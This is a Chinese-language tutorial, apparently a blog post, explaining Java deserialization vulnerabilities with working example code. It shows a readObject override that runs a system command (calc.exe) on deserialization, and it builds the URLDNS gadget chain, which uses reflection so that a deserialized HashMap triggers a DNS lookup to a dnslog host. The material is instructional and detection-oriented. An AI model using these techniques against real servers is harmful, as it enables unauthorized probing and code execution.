Java反序列化漏洞原理
一、序列化和反序列化
Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用writeObject
将对象转化为字节流,反序列化需要使用readObject
将字节流转化为对象。
本文章所有的Java代码均为导包,可自行
Alt + Shift + Enter
修复。
下面先写一个简单的类:
// People.java
// 一个对象想要被序列化,那它一定是可序列化对象,故类要实现Serializable接口
public class People implements java.io.Serializable{
// 定义三个类属性
public String name;
public String sex;
public int age;
// 构造方法
public People(String name, String sex, int age) {
this.name = name;
this.sex = sex;
this.age = age;
}
}
再实现一个序列化和反序列的功能:
// SerializeDemo.java
public class SerializeDemo {
// 将字节流转化为对象,即反序列化
public static void DeSerialize(byte[] objStream) throws IOException, ClassNotFoundException {
// 将字节数组转化为字节输入流
ByteArrayInputStream bytesStream = new ByteArrayInputStream(objStream);
// 放入ObjectInputStream对象中待序列化
ObjectInputStream inStream = new ObjectInputStream(bytesStream);
// 其实通过readObject就已经将字节流反序列化为对象,这里通过getClass()获取该类
// 输出更直观一点
System.out.println(inStream.readObject().getClass());
}
// 将对象转化为字节流,即序列化
public static byte[] Serialize(Object obj) throws IOException {
// 创建一个字节输出流对象
ByteArrayOutputStream bytesStream = new ByteArrayOutputStream();
// 并将字节输出流作为序列化时写入的位置
ObjectOutputStream outputStream = new ObjectOutputStream(bytesStream);
// 将传入的对象进行序列化
outputStream.writeObject(obj);
outputStream.close();
// 将序列化后的字节流转化为字符串并输出
System.out.println(bytesStream.toString());
// 将字节流转化为字节数组并返回
return bytesStream.toByteArray();
}
public static void main(String [] args) throws IOException, ClassNotFoundException {
// 先实例化一个对象
People people = new People("ZhangSan", "boy", 18);
// 将对象先做序列化操作
byte[] byteArray = Serialize(people);
// 序列化返回的字节数组再进行反序列化
DeSerialize(byteArray);
}
}
我们运行一下可以看到序列化后的字节流以及反序列化后的对象,那为什么反序列化会被利用呢?
可以先按照其他漏洞来一起理解,为什么会存在SQL注入、为什么会存在XSS、为什么会存在SSRF等等,主要原因还是因为后端过于信任用户所输入的字符串,导致用户构造任意字符达成恶意攻击。那么同理,Java反序列化漏洞其原理也是因为对用户的输入没有做严格的过滤,导致用户可传入精心构造的字节流。
二、漏洞利用
1. 简单利用
我们可以创建一个恶意的可序列化类,并重写它的readObject
方法:
// People.Java
// 再该文件下再添加一行readObject方法
private void readObject(ObjectInputStream objInputStream) throws IOException, ClassNotFoundException {
// 先调用默认的反序列化方法,即readObject
objInputStream.defaultReadObject();
// 再执行自己的代码逻辑,例如执行系统命令
Runtime.getRuntime().exec("calc.exe");
}
// 添加main函数执行主要代码逻辑
public static void main(String [] args) throws IOException, ClassNotFoundException {
People people = new People("ZhangSan", "boy", 18);
// 先序列化People对象
byte[] byteStream = SerializeDemo.Serialize(people);
// 再反序列化
SerializeDemo.DeSerialize(byteStream);
}
可以看到成功弹出了计算器并且原本的逻辑正常,这就解释了为什么反序列化会被利用,但真实环境中其Java环境也不会存在这种类,故还需要结合其他方法一起利用。
2. 构造URLDNS链
这种方法一般是用来检测是否存在反序列化漏洞,因为此链不需要依赖第三方包,也不限制jdk版本(还是限制的,JDK17后默认不支持对私有类成员的修改)。
上面说过想要做反序列化,那这个对象一定是可序列化对象,即实现Serializable
接口的类,若想构造URLDNS链,常用的是就是实例化一个HashMap<URL, String>
对象。先查看HashMap
的readObject
(它自己重写了readObject
方法),我们跟进这个hash
方法
可以看到hash
方法内又调用了key
对象的hashCode
方法
而我们的key选择的是URL
对象,故找到URL
中的hashCode
方法进行查看,如果HashCode为为-1就调用另一个HashCode
方法(HashCode初始化就是-1)。
再继续跟进handler.HashCode()
方法中,可以看到里面调用了getHostAddress
方法,即当我们创建了一个HashMap<URL, String>
的对象并将其序列化字节流传入服务器进行反序列化时,就会通过getHostAddress
方法对我们传入的子域名进行dns查询。
可以先尝试在main函数中编写以下代码:
public static void main(String [] args) throws IOException {
// 创建一个HashMap,key设为URL对象,value随便设置啥类型都行
HashMap<URL, String> hashMap = new HashMap<URL, String>();
// 从dnslog平台获取一个子域名并先实例化一个URL对象
URL url = new URL("http://zli1yc.dnslog.cn");
// 按照上面创建的HashMap对象,填入一个键值对
hashMap.put(url, "123");
}
运行上述代码你会发现你的dnslog平台已经出现了请求记录,但是我们并没有做反序列化操作。
我们先跟进put
方法查看,发现put
中也存在hash
方法的调用,若这样就无法判断目标服务器是因为调用的put
方法触发的,还是反序列化触发的。
故我们需要在put
前就将URL
实例化对象内的HashCode
改为非-1
,Java也提供了反射机制,可以动态构造任意类对象,已经修改类属性,将上述代码修改为如下所示:
public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
// 创建一个HashMap,key设为URL对象,value随便设置啥类型都行
HashMap<URL, String> hashMap = new HashMap<URL, String>();
// 从dnslog平台获取一个子域名并先实例化一个URL对象
URL url = new URL("http://zli1yc.dnslog.cn");
// 获取URL类
Class c = url.getClass();
// 获取这个类的HhshCode属性,由于hashCode是私有属性,故用getDeclaredField获取
Field hashCode = c.getDeclaredField("hashCode");
// 要修改私有属性,必须要开启设置权限
hashCode.setAccessible(true);
// 将url对象中的hashCode的值修改为123
hashCode.set(url, 123);
// 按照上面创建的HashMap对象,填入一个键值对
hashMap.put(url, "123");
// put完要记得把url对象中的hashCode改会-1,好在反序列化时触发
hashCode.set(url, -1);
// 将其序列化
SerializeDemo.Serialize(hashMap);
}
重新运行,这个时候dnslog就收不到dns请求,我们再向上述代码补充反序列化代码,并重新运行又能重新看到请求:
// 序列化并用一个字节数组接受
byte[] objStream = SerializeDemo.Serialize(hashMap);
// 将其反序列化
SerializeDemo.DeSerialize(objStream);
以上方法就是用来检测Java是否存在反序列化漏洞的URLDNS
链。
在JDK17环境中默认情况下无法修改私有属性的值,故无法构造该链。